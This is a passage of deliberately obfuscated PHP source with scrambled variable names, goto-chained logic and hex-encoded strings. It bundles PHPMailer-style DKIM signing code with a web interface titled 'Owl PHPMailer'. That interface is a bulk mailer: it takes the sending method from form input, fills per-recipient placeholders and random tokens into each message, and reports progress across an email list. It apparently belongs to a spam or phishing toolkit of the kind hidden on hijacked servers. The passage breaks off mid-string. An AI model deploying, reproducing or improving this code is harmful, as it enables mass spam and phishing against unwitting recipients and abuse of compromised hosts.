case "\145\x78\164\145\x6e\x73\151\157\156": return $C_7kb["\x65\x78\x74\145\156\163\x69\157\x6e"]; case PATHINFO_FILENAME: case "\146\x69\154\x65\156\x61\x6d\x65": return $C_7kb["\x66\151\154\145\156\141\155\x65"]; default: return $C_7kb; } goto E1WON; fqaKQ: fxG8S: goto A6v6E; xANPs: M90B0: goto RXbZh; A6v6E: q_1AD: goto PhYNA; XUBmO: RjAUH: goto O2TCs; ISEUl: XXRtU: goto A9h0F; RXbZh: if (!array_key_exists(3, $T8maC)) { goto fxG8S; } goto dj6Nv; vH3i0: if (!array_key_exists(1, $T8maC)) { goto XXRtU; } goto Y_Lat; MeYFr: if (!preg_match("\x23\x5e\x28\x2e\x2a\x3f\51\133\x5c\134\x2f\x5d\x2a\50\50\x5b\136\57\134\x5c\135\x2a\x3f\51\50\x5c\56\x28\x5b\x5e\134\56\134\134\57\135\53\77\x29\x7c\51\51\133\x5c\x5c\57\134\x2e\135\52\44\x23\151\155", $q7qVx, $T8maC)) { goto q_1AD; } goto vH3i0; STUwl: JSZI2: goto cTcV4; VgMWs: $C_7kb["\x62\141\x73\x65\x6e\x61\155\x65"] = $T8maC[2]; goto STUwl; cTcV4: if (!array_key_exists(5, $T8maC)) { goto M90B0; } goto r48Gr; dj6Nv: $C_7kb["\x66\151\154\x65\x6e\141\155\x65"] = $T8maC[3]; goto fqaKQ; E1WON: y25sp: goto XUBmO; gVpUA: $C_7kb = ["\144\151\162\156\x61\155\145" => '', "\x62\141\x73\x65\156\x61\155\145" => '', "\145\x78\164\x65\156\x73\151\x6f\156" => '', "\146\151\154\x65\156\x61\x6d\x65" => '']; goto kJw4G; kJw4G: $T8maC = []; goto MeYFr; O2TCs: } public function set($UxOLN, $TZqE1 = '') { goto OShjL; VGd_O: return false; goto eHjqx; kxHN4: return true; goto FLYUo; FLYUo: P9tZO: goto y93zg; OShjL: if (!property_exists($this, $UxOLN)) { goto P9tZO; } goto mxELE; y93zg: $this->setError($this->lang("\x76\x61\162\151\x61\x62\x6c\x65\x5f\x73\145\164") . $UxOLN); goto VGd_O; mxELE: $this->{$UxOLN} = $TZqE1; goto kxHN4; eHjqx: } public function secureHeader($F2YZh) { return trim(str_replace(["\15", "\xa"], '', $F2YZh)); } public static function normalizeBreaks($Gt6CU, $dz0w8 = null) { goto eH9ac; cQrO1: if (!("\xa" !== $dz0w8)) { goto tQuUA; } goto Gm_iB; sNN6L: $dz0w8 = static::$LE; goto Kex7X; Gm_iB: $Gt6CU = str_replace("\xa", $dz0w8, $Gt6CU); goto uiRgQ; XDAtO: return $Gt6CU; goto lCSCm; eH9ac: if (!(null === $dz0w8)) { goto o9fhF; } goto sNN6L; uiRgQ: tQuUA: goto XDAtO; Kex7X: o9fhF: goto hBIOb; hBIOb: $Gt6CU = str_replace(["\xd\12", "\xd"], "\xa", $Gt6CU); goto cQrO1; lCSCm: } public static function getLE() { return static::$LE; } protected static function setLE($YBSwi) { static::$LE = $YBSwi; } public function sign($oMICD, $nW1CS, $xbaBe, $ne3vE = '') { goto rSwhl; GczE8: $this->sign_extracerts_file = $ne3vE; goto IYnSp; L0Fys: $this->sign_key_file = $nW1CS; goto ky612; rSwhl: $this->sign_cert_file = $oMICD; goto L0Fys; ky612: $this->sign_key_pass = $xbaBe; goto GczE8; IYnSp: } public function DKIM_QP($b1IRG) { goto MUnZQ; qqeXW: hGK1M: goto inO0w; wMcUv: goto hGK1M; goto nEQDW; LLiPj: $cNZRu = ord($b1IRG[$Bkv4C]); goto AJ5YJ; AJ5YJ: if (0x21 <= $cNZRu and $cNZRu <= 0x3a or $cNZRu == 0x3c or 0x3e <= $cNZRu and $cNZRu <= 0x7e) { goto Z4kxe; } goto FSBms; cBnbd: $Bkv4C = 0; goto tYgdO; inO0w: aAmtd: goto d7n0M; tYgdO: ymhVD: goto bz0U2; bz0U2: if (!($Bkv4C < $i7eNA)) { goto raPCL; } goto LLiPj; d7n0M: ++$Bkv4C; goto zm8ep; FSBms: $agbTK .= "\x3d" . sprintf("\x25\60\x32\x58", $cNZRu); goto wMcUv; nEQDW: Z4kxe: goto swKJo; Tm2K6: return $agbTK; goto ZydnK; zm8ep: goto ymhVD; goto EJHn1; EJHn1: raPCL: goto Tm2K6; swKJo: $agbTK .= $b1IRG[$Bkv4C]; goto qqeXW; MUnZQ: $agbTK = ''; goto YXheD; YXheD: $i7eNA = strlen($b1IRG); goto cBnbd; ZydnK: } public function DKIM_Sign($wpyF2) { goto DimTu; Rw8CA: $bEQee = openssl_pkey_get_private($ndM0_); goto edfwP; Lq1bV: if (!openssl_sign($wpyF2, $n4JHp, $bEQee, "\163\150\x61\62\65\x36\127\x69\164\x68\x52\123\x41\105\156\x63\x72\171\x70\x74\151\x6f\x6e")) { goto fPMoQ; } goto WfiuC; N23Nm: fPMoQ: goto u2DbO; edfwP: goto tXavO; goto t2Jla; zasCf: return base64_encode($n4JHp); goto N23Nm; Hs9nk: return ''; goto Dgjpy; Dgjpy: yQ4qv: goto aLwB8; eYRCO: throw new Exception($this->lang("\145\170\164\145\x6e\163\x69\157\156\137\x6d\151\163\163\151\x6e\x67") . "\157\160\x65\x6e\x73\163\154"); goto o6gkF; u2DbO: openssl_pkey_free($bEQee); goto H9LNs; t2Jla: eFnHw: goto ZXirG; H9LNs: return ''; goto CA5JJ; ZXirG: $bEQee = openssl_pkey_get_private($ndM0_, $this->DKIM_passphrase); goto zZuX9; DimTu: if (defined("\120\x4b\x43\x53\x37\137\x54\x45\x58\x54")) { goto yQ4qv; } goto Q4C1X; zZuX9: tXavO: goto Lq1bV; Q4C1X: if (!$this->exceptions) { goto SzRir; } goto eYRCO; ANbLV: if ('' != $this->DKIM_passphrase) { goto eFnHw; } goto Rw8CA; aLwB8: $ndM0_ = !empty($this->DKIM_private_string) ? $this->DKIM_private_string : file_get_contents($this->DKIM_private); goto ANbLV; WfiuC: openssl_pkey_free($bEQee); goto zasCf; o6gkF: SzRir: goto Hs9nk; CA5JJ: } public function DKIM_HeaderC($wpyF2) { goto cjLeN; BXXSd: foreach ($FZAZx as $PKEp0 => $agbTK) { goto ZyI9T; qBufb: uGTwl: goto N7fj5; IMw43: $TZqE1 = preg_replace("\x2f\133\40\x5c\164\x5d\173\62\x2c\x7d\57", "\40", $TZqE1); goto g0MbC; eWdzy: $GelJ9 = strtolower($GelJ9); goto IMw43; ZyI9T: if (!(strpos($agbTK, "\x3a") === false)) { goto uGTwl; } goto jPDLg; g0MbC: $FZAZx[$PKEp0] = trim($GelJ9, "\x20\11") . "\72" . trim($TZqE1, "\x20\x9"); goto GTtiw; jPDLg: goto ScZRF; goto qBufb; GTtiw: ScZRF: goto NvK3D; N7fj5: list($GelJ9, $TZqE1) = explode("\x3a", $agbTK, 2); goto eWdzy; NvK3D: } goto LXGBu; s0RGY: return implode("\xd\12", $FZAZx); goto mL0ie; rJPCM: $FZAZx = explode("\15\12", $wpyF2); goto BXXSd; cjLeN: $wpyF2 = preg_replace("\x2f\134\x72\x5c\x6e\x5b\40\x5c\164\x5d\x2b\57", "\40", $wpyF2); goto rJPCM; LXGBu: Bgtox: goto s0RGY; mL0ie: } public function DKIM_BodyC($qKvMM) { goto EwUru; WVw88: $qKvMM = static::normalizeBreaks($qKvMM, "\15\xa"); goto a1_rr; FivhU: xC2t0: goto WVw88; a1_rr: return rtrim($qKvMM, "\xd\xa") . "\xd\12"; goto ADvXu; xHPUc: return "\xd\xa"; goto FivhU; EwUru: if (!empty($qKvMM)) { goto xC2t0; } goto xHPUc; ADvXu: } public function DKIM_Add($WV_UD, $s4bph, $qKvMM) { goto irkQ0; M5Hs8: if ('' == $this->DKIM_identity) { goto RKZo6; } goto YG3GH; ue5BA: $qKvMM = $this->DKIM_BodyC($qKvMM); goto xISM8; SvNL2: $w0iWt = $this->DKIM_Sign($ibI6w); goto pSUci; DO4Mj: if (!$this->DKIM_copyHeaderFields) { goto Ri0Gb; } goto Q2sPq; bBDUS: Ri0Gb: goto ue5BA; D6Zk_: nsZzl: goto DO4Mj; pWXjJ: $Xrnae = str_replace("\x7c", "\x3d\x37\x43", $this->DKIM_QP($y3yXt)); goto GAXUs; kkU23: $Mmkqq = ''; goto iRhrR; pznMh: RKZo6: goto d7eKG; ZO9DN: $cIRlt = str_replace("\x7c", "\x3d\67\103", $this->DKIM_QP($Garnn)); goto pWXjJ; GAXUs: $s4bph = str_replace("\174", "\75\x37\103", $this->DKIM_QP($zIl4h)); goto AtJGu; ett9Y: foreach ($KpowP as $PKEp0 => $TZqE1) { goto wnsC8; ZEtt2: MiJrc: goto NTwZN; RnlJS: if (!$this->DKIM_copyHeaderFields) { goto MiJrc; } goto WALtQ; I_NE5: $ecWCi .= $TZqE1 . "\15\xa"; goto RnlJS; wnsC8: $al5Wl .= "\x3a" . $PKEp0; goto I_NE5; NTwZN: mWcgq: goto PFRwg; WALtQ: $lGgBP .= "\x9\x7c" . str_replace("\x7c", "\75\x37\103", $this->DKIM_QP($TZqE1)) . "\x3b\15\xa"; goto ZEtt2; PFRwg: } goto D6Zk_; VeUpU: $dQovx = time(); goto lg8H5; NmCFg: $ibI6w = $this->DKIM_HeaderC($w8d8m . "\15\12" . $Garnn . "\15\12" . $y3yXt . "\15\xa" . $zIl4h . "\xd\12" . $ecWCi . $j7gEZ); goto SvNL2; h_6Fz: $w8d8m = ''; goto OVh_M; khlBC: b9EqO: goto ett9Y; XDhqz: $y3yXt = ''; goto sQYKi; QjSFq: $ZE3IV = "\x64\x6e\x73\x2f\x74\x78\164"; goto VeUpU; iRhrR: $KpowP = []; goto aJzjt; aJzjt: $al5Wl = ''; goto wlJW4; htUsH: $StF3R = explode(static::$LE, $WV_UD); goto h_6Fz; pSUci: return static::normalizeBreaks($j7gEZ . $w0iWt) . static::$LE; goto r4NMU; sQYKi: $ByXTR = ''; goto kkU23; wlJW4: $ecWCi = ''; goto W9YNa; irkQ0: $ua2wt = "\x72\x73\x61\x2d\x73\150\x61\62\x35\66"; goto qAF_N; Q2sPq: $iryK3 = str_replace("\174", "\x3d\x37\x43", $this->DKIM_QP($w8d8m)); goto ZO9DN; AtJGu: $Mmkqq = "\11\172\75{$iryK3}\xd\xa" . "\x9\174{$cIRlt}\15\12" . "\x9\x7c{$Xrnae}\xd\12" . "\11\x7c{$s4bph}\x3b\xd\xa" . $lGgBP; goto bBDUS; W9YNa: $lGgBP = ''; goto Pki6h; cHz0f: goto W1pDg; goto pznMh; sdMpx: $j7gEZ = "\x44\113\x49\x4d\55\x53\151\x67\156\141\164\x75\x72\x65\x3a\40\x76\75\x31\73\x20\x61\75" . $ua2wt . "\73\40\x71\x3d" . $ZE3IV . "\x3b\x20\154\x3d" . $fG7ia . "\x3b\x20\163\75" . $this->DKIM_selector . "\x3b\xd\xa" . "\11\x74\x3d" . $dQovx . "\73\40\143\x3d" . $BjANs . "\x3b\xd\12" . "\11\150\75\106\x72\x6f\x6d\x3a\x54\x6f\x3a\x44\141\164\145\x3a\123\x75\142\152\x65\143\x74" . $al5Wl . "\x3b\xd\12" . "\11\144\x3d" . $this->DKIM_domain . "\73" . $pYwKF . "\15\xa" . $Mmkqq . "\11\x62\x68\75" . $EtN_C . "\73\xd\xa" . "\11\142\75"; goto NmCFg; xISM8: $fG7ia = strlen($qKvMM); goto Ae_tI; O0CsM: W1pDg: goto sdMpx; qAF_N: $BjANs = "\162\145\154\x61\x78\145\x64\57\163\151\155\160\154\145"; goto QjSFq; d7eKG: $pYwKF = ''; goto O0CsM; lg8H5: $zIl4h = "\x53\x75\x62\x6a\145\143\x74\x3a\x20{$s4bph}"; goto htUsH; YG3GH: $pYwKF = "\40\x69\x3d" . $this->DKIM_identity . "\73"; goto cHz0f; Ae_tI: $EtN_C = base64_encode(pack("\110\x2a", hash("\163\150\x61\62\65\x36", $qKvMM))); goto M5Hs8; OVh_M: $Garnn = ''; goto XDhqz; Pki6h: foreach ($StF3R as $lTiMf) { goto LFqwN; LFqwN: if (strpos($lTiMf, "\106\x72\x6f\x6d\x3a") === 0) { goto WSOM3; } goto YiCby; uYJj_: Lc0SM: goto Q8kNW; sTq9A: sG661: goto uYJj_; Rb4PI: $ByXTR = "\x74\x6f\x5f\x68\x65\x61\x64\x65\162"; goto MYW_6; P2EzL: $y3yXt = $lTiMf; goto PYk4c; PYk4c: $ByXTR = "\144\141\164\x65\x5f\150\145\x61\144\x65\x72"; goto lM8Ko; Ml5v0: WSOM3: goto w_80b; DxmNm: goto Lc0SM; goto Ml5v0; csStR: $ByXTR = ''; goto RJEC7; xqnMN: xpd4x: goto P2EzL; ogXpP: goto Lc0SM; goto sJhAK; h5lKd: if (!empty(${$ByXTR}) and strpos($lTiMf, "\40\x3d\x3f") === 0) { goto XkpWe; } goto csStR; b96N0: HTZ5Q: goto DxmNm; w_80b: $w8d8m = $lTiMf; goto tXC3F; j2Qen: foreach ($this->DKIM_extraHeaders as $KzQWl) { goto RPOKn; Mh_vB: $ByXTR = ''; goto biATG; bR8V2: A4M_s: goto r2OvI; RPOKn: if (!(strpos($lTiMf, $KzQWl . "\72") === 0)) { goto MTjxX; } goto eKFr4; qalAR: $KpowP[$KzQWl] = $ugJQH; goto Mh_vB; biATG: goto sG661; goto bst1G; eKFr4: $ugJQH = $lTiMf; goto KWjCt; kCTk3: t0czE: goto qalAR; bst1G: MTjxX: goto bR8V2; KWjCt: foreach ($this->CustomHeader as $Jvt8F) { goto CskqB; m0tfM: $ugJQH = trim($Jvt8F[0]) . "\x3a\40" . $this->encodeHeader(trim($Jvt8F[1])); goto BoTS6; CskqB: if (!($Jvt8F[0] === $KzQWl)) { goto axLiV; } goto m0tfM; BoTS6: goto t0czE; goto Vx_VZ; Vx_VZ: axLiV: goto peR9s; peR9s: iFIJT: goto Eyprd; Eyprd: } goto kCTk3; r2OvI: } goto sTq9A; tXC3F: $ByXTR = "\x66\x72\x6f\155\137\x68\x65\x61\x64\145\x72"; goto ogXpP; MYW_6: goto Lc0SM; goto xqnMN; sJhAK: jeBWj: goto aqdEG; Q8kNW: MezSA: goto fFmmA; RJEC7: goto HTZ5Q; goto SD61C; xUWHJ: ${$ByXTR} .= $lTiMf; goto b96N0; ky1eU: sDLWR: goto j2Qen; YiCby: if (strpos($lTiMf, "\124\x6f\x3a") === 0) { goto jeBWj; } goto ro2d0; ro2d0: if (strpos($lTiMf, "\104\x61\164\145\x3a") === 0) { goto xpd4x; } goto F73q6; SD61C: XkpWe: goto xUWHJ; lM8Ko: goto Lc0SM; goto ky1eU; F73q6: if (!empty($this->DKIM_extraHeaders)) { goto sDLWR; } goto h5lKd; aqdEG: $Garnn = $lTiMf; goto Rb4PI; fFmmA: } goto khlBC; r4NMU: } public static function hasLineLongerThanMax($F2YZh) { return (bool) preg_match("\57\136\50\x2e\173" . (self::B4qnq + strlen(static::$LE)) . "\54\175\x29\x2f\x6d", $F2YZh); } public function getToAddresses() { return $this->to; } public function getCcAddresses() { return $this->cc; } public function getBccAddresses() { return $this->bcc; } public function getReplyToAddresses() { return $this->ReplyTo; } public function getAllRecipientAddresses() { return $this->all_recipients; } protected function doCallback($dKXAP, $cIRlt, $K02kO, $E4KUB, $s4bph, $qKvMM, $iryK3, $DxyGR) { goto APxpT; Of4dK: call_user_func($this->action_function, $dKXAP, $cIRlt, $K02kO, $E4KUB, $s4bph, $qKvMM, $iryK3, $DxyGR); goto vTlbq; APxpT: if (!(!empty($this->action_function) and is_callable($this->action_function))) { goto VgsPd; } goto Of4dK; vTlbq: VgsPd: goto gVVun; gVVun: } public function getOAuth() { return $this->oauth; } public function setOAuth(dlx0a $p02lb) { $this->oauth = $p02lb; } } goto oRZgq; gpHWl: $jRul4 = preg_replace("\x2f\x25\x35\x43\45\62\x32\x2f", "\45\62\62", $jRul4); goto YNa71; I9WuO: mjEOz: goto GYSTd; ymLYr: $ItTkM = "\x31\62\63"; goto Noje7; t7vOA: echo "\x29\74\57\154\x69\x3e\12\40\40\40\x20\40\40\40\x20\x20\40\x20\x20\x20\40\x20\x20\x3c\154\x69\76\133\55\x65\155\x61\151\x6c\165\x73\x65\x72\55\x5d\x20\72\40\x3c\x62\76\105\x6d\x61\151\x6c\40\x55\x73\x65\x72\74\57\x62\76\x20\50\145\155\x61\x69\x6c\165\x73\x65\x72\x40\x65\155\141\151\x6c\x64\157\155\x61\x69\x6e\x29\x3c\57\154\151\76\12\x20\40\40\40\40\40\40\40\40\40\x20\x20\x20\40\x20\x20\x3c\154\x69\76\x5b\x2d\x72\141\x6e\x64\x6f\155\x73\x74\x72\151\x6e\147\x2d\x5d\x20\72\40\x3c\x62\x3e\122\x61\156\x64\x6f\155\40\x73\x74\x72\x69\156\147\40\x28\60\x2d\71\54\x61\x2d\x7a\x29\x3c\57\142\x3e\x3c\x2f\154\x69\x3e\12\x20\x20\x20\x20\40\x20\40\40\40\x20\40\x20\40\40\40\x20\74\154\x69\76\133\55\162\141\x6e\x64\x6f\155\x6e\x75\x6d\x62\x65\x72\x2d\135\40\x3a\40\74\x62\76\x52\141\156\x64\157\155\x20\x6e\165\x6d\x62\145\162\40\50\60\x2d\71\51\40\74\57\142\x3e\x3c\x2f\x6c\x69\76\xa\40\x20\40\40\x20\40\x20\x20\40\40\x20\x20\x20\x20\40\40\x3c\x6c\x69\x3e\x5b\x2d\x72\x61\x6e\144\157\x6d\154\x65\x74\164\x65\x72\x73\x2d\x5d\40\72\x20\74\x62\76\x52\141\x6e\144\157\155\40\x4c\x65\164\x74\145\x72\163\x28\141\x2d\x7a\x29\x20\x3c\x2f\x62\76\74\x2f\154\151\76\xa\40\x20\40\40\x20\40\x20\x20\x20\x20\x20\40\x20\x20\40\40\x3c\154\151\x3e\133\x2d\162\x61\x6e\x64\157\x6d\155\144\x35\55\135\40\x3a\x20\74\x62\76\122\141\x6e\x64\x6f\x6d\x20\115\104\x35\x20\74\57\142\76\74\x2f\x6c\151\76\xa\x20\40\x20\x20\x20\40\40\40\x20\x20\40\x20\x3c\x2f\165\154\x3e\xa\x20\40\x20\x20\40\40\40\40\x20\x20\40\40\74\150\x34\76\145\x78\141\x6d\x70\154\145\74\x2f\150\x34\x3e\xa\40\40\40\40\40\40\x20\40\x20\x20\40\x20\122\145\143\x69\x76\x65\162\x20\105\155\x61\151\x6c\40\75\x20\x3c\142\x3e\x75\x73\145\162\x40\144\157\x6d\x61\151\156\56\x63\157\155\x3c\57\142\76\74\x62\162\76\12\x20\40\x20\40\x20\40\x20\x20\40\40\x20\x20\74\x75\x6c\76\xa\x20\x20\40\x20\x20\x20\40\40\x20\x20\x20\x20\x20\40\40\x20\x3c\154\x69\x3e\x68\x65\x6c\x6c\157\40\74\142\76\133\55\145\155\141\x69\x6c\165\163\145\162\55\135\x3c\57\142\76\x20\55\76\40\150\x65\154\x6c\x6f\x20\74\x62\x3e\165\x73\x65\162\74\57\x62\x3e\74\x2f\x6c\151\x3e\12\x20\x20\40\x20\x20\x20\40\x20\x20\x20\40\40\40\40\40\x20\x3c\154\x69\76\171\157\165\x72\x20\143\157\144\x65\40\x69\x73\x20\40\74\142\76\133\x2d\x72\x61\x6e\144\x6f\x6d\x6d\x64\x35\x2d\x5d\74\57\142\76\x20\55\76\40\171\157\x75\162\x20\x63\157\144\x65\x20\x69\163\x20\x3c\142\x3e\145\x31\x30\x61\144\143\x33\71\64\x39\142\141\x35\71\x61\142\x62\x65\65\x36\145\60\65\x37\x66\x32\x30\146\x38\70\63\x65\x3c\x2f\x62\76\x3c\x2f\x6c\151\x3e\12\40\x20\x20\40\40\40\x20\40\40\x20\40\x20\x3c\x2f\x75\154\x3e\12\x20\40\x20\x20\40\x20\x20\x20\40\40\x20\x20\x3c\x68\66\76\x62\x79\x20\74\x62\x3e\x3c\x61\x20\x68\162\145\146\x3d\42\150\164\x74\160\72\x2f\x2f"; goto cCHrQ; Qc7l6: $GLOBALS["\163\145\x6e\x64\x69\156\147\115\145\164\150\157\x64"] = y_QNK($_POST["\x73\x65\x6e\144\x69\156\147\115\145\164\x68\157\x64"]); goto lAxAv; VUR9T: echo "\74\41\104\x4f\x43\x54\131\x50\x45\x20\x68\x74\155\x6c\76\12\x3c\150\164\x6d\154\x20\x6c\141\x6e\x67\x3d\x22\x65\156\x22\x3e\xa\x3c\150\x65\141\144\76\xa\40\x20\x3c\155\145\164\141\40\x63\150\141\x72\x73\145\164\x3d\x22\165\164\146\55\x38\42\x3e\12\40\40\74\x6d\145\164\x61\x20\x68\164\164\x70\x2d\x65\161\165\151\x76\75\x22\x58\x2d\125\x41\55\x43\x6f\x6d\160\141\164\x69\x62\x6c\145\x22\40\x63\x6f\x6e\x74\145\x6e\x74\x3d\42\111\x45\40\75\40\x65\x64\x67\145\x22\76\xa\40\40\74\155\145\164\141\40\x6e\x61\x6d\x65\75\x22\166\x69\145\x77\x70\x6f\162\x74\42\40\x63\157\x6e\164\x65\156\x74\x3d\42\x77\151\x64\164\150\40\x3d\x20\x64\x65\x76\x69\x63\x65\55\167\151\x64\x74\x68\54\40\151\156\x69\x74\151\x61\154\55\x73\x63\x61\x6c\x65\40\75\x20\61\42\x3e\xa\x20\x20\x3c\164\151\164\x6c\x65\x3e\117\167\x6c\x20\x50\110\120\115\141\x69\x6c\145\162\x20"; goto jIm4O; cbR3p: echo "\x3c\x2f\x74\151\164\x6c\x65\76\xa\x20\40\x20\40\40\x20\x20\40\x20\40\40\x20\x20\40\x20\x3c\x6c\x69\156\x6b\x20\x68\162\145\x66\x3d\x22\x68\x74\x74\160\163\72\57\57\x63\x64\x6e\56\x6a\x73\x64\145\x6c\x69\x76\162\56\x6e\145\x74\x2f\156\160\x6d\x2f\142\x6f\x6f\164\163\x74\162\141\x70\x40\x33\x2e\x34\x2e\x31\x2f\x64\151\163\164\57\143\163\x73\57\x62\x6f\x6f\x74\x73\164\162\x61\160\x2e\155\x69\x6e\56\143\163\x73\42\x20\162\145\154\75\42\x73\164\x79\x6c\x65\163\x68\145\x65\164\42\x3e\12\40\x20\x3c\x21\55\55\x20\x6a\121\165\x65\x72\171\40\50\156\x65\x63\145\x73\x73\x61\x72\171\40\146\157\x72\40\x42\x6f\x6f\164\x73\164\162\x61\160\47\x73\x20\112\x61\166\x61\x53\x63\x72\151\160\x74\x20\160\x6c\165\147\151\156\x73\x29\40\x2d\55\x3e\12\40\40\x20\40\x20\40\40\40\40\x20\x20\40\x20\40\x20\40\x20\40\40\x20\40\40\x20\x20\x20\40\x20\40\40\x3c\x73\143\x72\151\x70\x74\40\x73\x72\143\75\42\150\x74\164\160\x73\x3a\x2f\x2f\x63\x6f\144\145\x2e\152\x71\165\145\x72\x79\56\143\157\x6d\x2f\152\161\165\x65\162\x79\x2d\63\x2e\66\56\60\x2e\155\x69\x6e\x2e\152\163\x22\76\x3c\57\x73\x63\x72\x69\160\164\76\12\x20\x20\x20\x20\40\40\40\40\40\40\40\40\40\40\40\40\40\40\40\x3c\x73\x63\x72\x69\x70\164\40\163\162\x63\x3d\42\x68\164\x74\x70\x73\72\57\x2f\143\144\156\x2e\x6a\163\x64\x65\154\151\166\162\56\156\145\164\57\156\160\155\57\142\x6f\x6f\164\163\x74\162\141\x70\x40\x33\x2e\64\56\x31\x2f\x64\x69\163\164\57\x6a\163\57\x62\157\157\164\x73\164\x72\x61\160\x2e\155\151\156\x2e\x6a\163\42\x3e\74\x2f\163\x63\x72\151\x70\x74\x3e\xa\40\x20\40\x20\x20\x20\40\40\40\40\x20\40\x20\40\x20\74\x6c\151\156\153\x20\x72\x65\154\75\x22\x69\143\157\x6e\x22\x20\x68\x72\145\x66\75\x22\x68\x74\x74\160\x73\72\57\x2f\x63\144\x6e\x2d\151\x63\157\156\163\55\x70\156\147\x2e\146\154\x61\x74\x69\143\x6f\x6e\56\x63\x6f\155\x2f\x35\x31\62\57\x31\x38\66\x34\57\61\70\66\x34\x35\x32\61\x2e\x70\x6e\147\x22\x20\164\x79\160\x65\75\x22\x69\x6d\x61\x67\145\57\170\55\x69\x63\157\x6e\x22\x20\x2f\76\12\xa\12\x3c\x2f\x68\145\x61\144\x3e\12\12\74\x62\x6f\x64\171\x3e\12\40\x20\40\x20\x3c\163\143\x72\151\160\x74\76\xa\x20\x20\x20\40\40\40\40\40\166\141\x72\x20\x72\x75\156\156\151\x6e\147\40\x3d\x20\146\141\154\x73\x65\73\xa\40\40\40\x20\40\40\40\40\166\x61\162\x20\x72\x65\161\x75\145\x73\x74\73\xa\40\40\x20\x20\74\x2f\163\x63\x72\151\x70\x74\x3e\xa\xa\x20\40\74\x73\143\162\151\x70\164\76\xa\40\40\x20\x20\101\162\162\141\171\x2e\160\162\x6f\x74\157\x74\x79\x70\x65\x2e\x72\141\x6e\144\x6f\155\105\154\x65\155\145\x6e\164\x20\x3d\40\x66\165\x6e\x63\x74\x69\x6f\156\x20\50\51\x20\173\12\40\40\162\x65\164\x75\x72\156\40\164\150\151\x73\x5b\x4d\x61\164\x68\56\x66\154\157\157\162\50\x4d\x61\164\x68\x2e\x72\141\x6e\144\x6f\x6d\x28\x29\40\52\40\x74\x68\x69\163\x2e\154\x65\x6e\x67\164\x68\x29\135\12\40\175\12\xa\x20\x66\165\156\x63\164\x69\157\x6e\x20\163\x74\x6f\160\x53\145\x6e\x64\151\156\147\50\51\xa\x20\173\xa\x20\40\x20\40\x72\165\156\156\x69\156\147\40\x3d\x20\x66\x61\154\x73\145\73\12\12\x20\40\40\x20\x69\146\x20\50\162\x65\x71\165\x65\x73\164\51\40\173\xa\x20\40\40\40\40\40\x20\40\162\145\x71\165\145\x73\164\56\x61\x62\157\x72\x74\x28\x29\x3b\12\40\x20\40\40\40\40\x7d\xa\xa\40\40\x20\40\x24\x28\x22\x23\142\164\x6e\x53\x74\x61\162\164\x22\x29\56\141\164\164\x72\50\42\144\x69\163\141\142\154\145\x64\42\54\x20\x66\141\x6c\x73\x65\51\x3b\12\40\x20\40\40\44\x28\x22\x23\x62\164\156\x53\164\x6f\160\42\51\56\141\x74\164\162\x28\42\144\x69\163\141\x62\154\145\144\x22\54\40\164\x72\165\145\51\x3b\12\x20\175\12\12\x20\x66\165\156\143\164\151\x6f\x6e\x20\x68\141\x6e\x64\154\x65\x53\145\x6e\144\151\156\x67\x52\145\163\x70\157\x6e\x73\145\x28\162\145\x63\x69\x70\151\145\156\164\54\40\162\145\x73\160\157\x6e\163\145\54\x20\160\162\x6f\143\145\163\x73\x65\x64\x43\x6f\165\156\x74\x2c\x20\164\x6f\164\141\x6c\105\x6d\x61\x69\x6c\103\x6f\165\156\x74\51\40\x7b\12\40\40\44\x28\x22\43\160\x72\x6f\x67\162\x65\x73\x73\42\51\x2e\x61\160\160\145\x6e\x64\50\47\x3c\x64\151\166\40\143\x6c\x61\x73\163\75\42\x63\x6f\x6c\55\154\x67\x2d\63\x22\x3e\x27\x20\53\40\x70\x72\x6f\143\x65\x73\163\145\144\x43\157\x75\156\x74\56\164\157\123\164\x72\x69\156\147\50\x29\40\53\40\47\57\x27\40\x2b\40\164\157\x74\141\x6c\x45\x6d\x61\x69\x6c\x43\157\165\156\164\56\x74\x6f\x53\164\x72\x69\x6e\x67\x28\51\x20\53\x20\x27\74\x2f\x64\151\166\76\74\144\151\x76\40\143\154\141\163\163\x3d\x22\x63\x6f\x6c\55\154\147\x2d\66\x22\x3e\x27\x20\x2b\40\162\x65\x63\x69\x70\151\x65\x6e\x74\40\53\40\47\74\57\x64\151\x76\x3e\47\51\x3b\12\40\x20\12\40\x20\x69\146\x20\50\162\145\163\x70\157\156\163\x65\x20\75\75\x20\42\x4f\113\42\51\x7b\12\40\40\x20\x20\x24\x28\42\43\160\x72\157\147\x72\145\x73\x73\42\51\56\141\x70\160\145\x6e\144\50\47\x3c\144\x69\x76\x20\x63\x6c\x61\x73\x73\x3d\x22\143\x6f\154\55\x6c\x67\x2d\61\42\76\74\163\160\x61\156\x20\x63\154\141\x73\163\75\x22\154\x61\142\145\x6c\40\x6c\141\142\x65\x6c\x2d\x73\165\x63\143\145\x73\x73\42\76\x4f\153\74\x2f\163\x70\141\x6e\x3e\74\57\x64\x69\x76\x3e\47\51\x3b\12\40\x20\x7d\12\40\40\145\x6c\x73\x65\40\x69\x66\x28\162\145\163\160\157\156\x73\x65\40\75\x3d\x20\42\111\x6e\143\157\162\162\145\x63\164\40\105\x6d\141\x69\154\x22\x29\x7b\xa\x20\x20\40\x20\x24\x28\42\x23\x70\x72\157\x67\162\145\x73\163\42\x29\x2e\141\160\160\x65\x6e\144\x28\x27\x3c\x64\x69\x76\x20\x63\154\x61\163\x73\75\42\x63\x6f\154\x2d\x6c\x67\55\x31\x22\x3e\74\163\x70\141\156\40\x63\154\141\163\x73\75\42\154\x61\142\x65\154\40\x6c\141\x62\145\154\x2d\x64\x65\146\x61\165\x6c\164\x22\76\x49\x6e\x63\157\x72\162\x65\x63\164\40\105\x6d\x61\151\x6c\74\x2f\163\160\x61\x6e\x3e\74\57\x64\x69\166\76\47\51\x3b\xa\x20\x20\175\x20\x65\154\163\x65\x20\x7b\xa\40\x20\40\x20\44\x28\x22\43\160\162\157\147\x72\145\163\163\x22\x29\56\x61\x70\x70\145\156\144\x28\47\74\144\x69\166\40\x63\154\141\163\163\75\42\143\x6f\154\x2d\x6c\x67\x2d\x31\x22\x3e\x3c\163\160\141\x6e\40\143\154\x61\163\x73\75\42\x6c\x61\x62\x65\x6c\40\154\x61\x62\145\154\x2d\144\x65\x66\141\x75\154\x74\x22\76\x27\x20\53\x20\162\145\163\x70\x6f\156\x73\x65\40\x2b\x20\x27\x3c\x2f\x73\160\141\x6e\x3e\74\57\x64\x69\166\76\x27\51\x3b\xa\x20\40\x7d\xa\40\40\x24\x28\42\x23\x70\x72\x6f\x67\162\145\x73\163\x22\51\x2e\x61\x70\x70\145\156\144\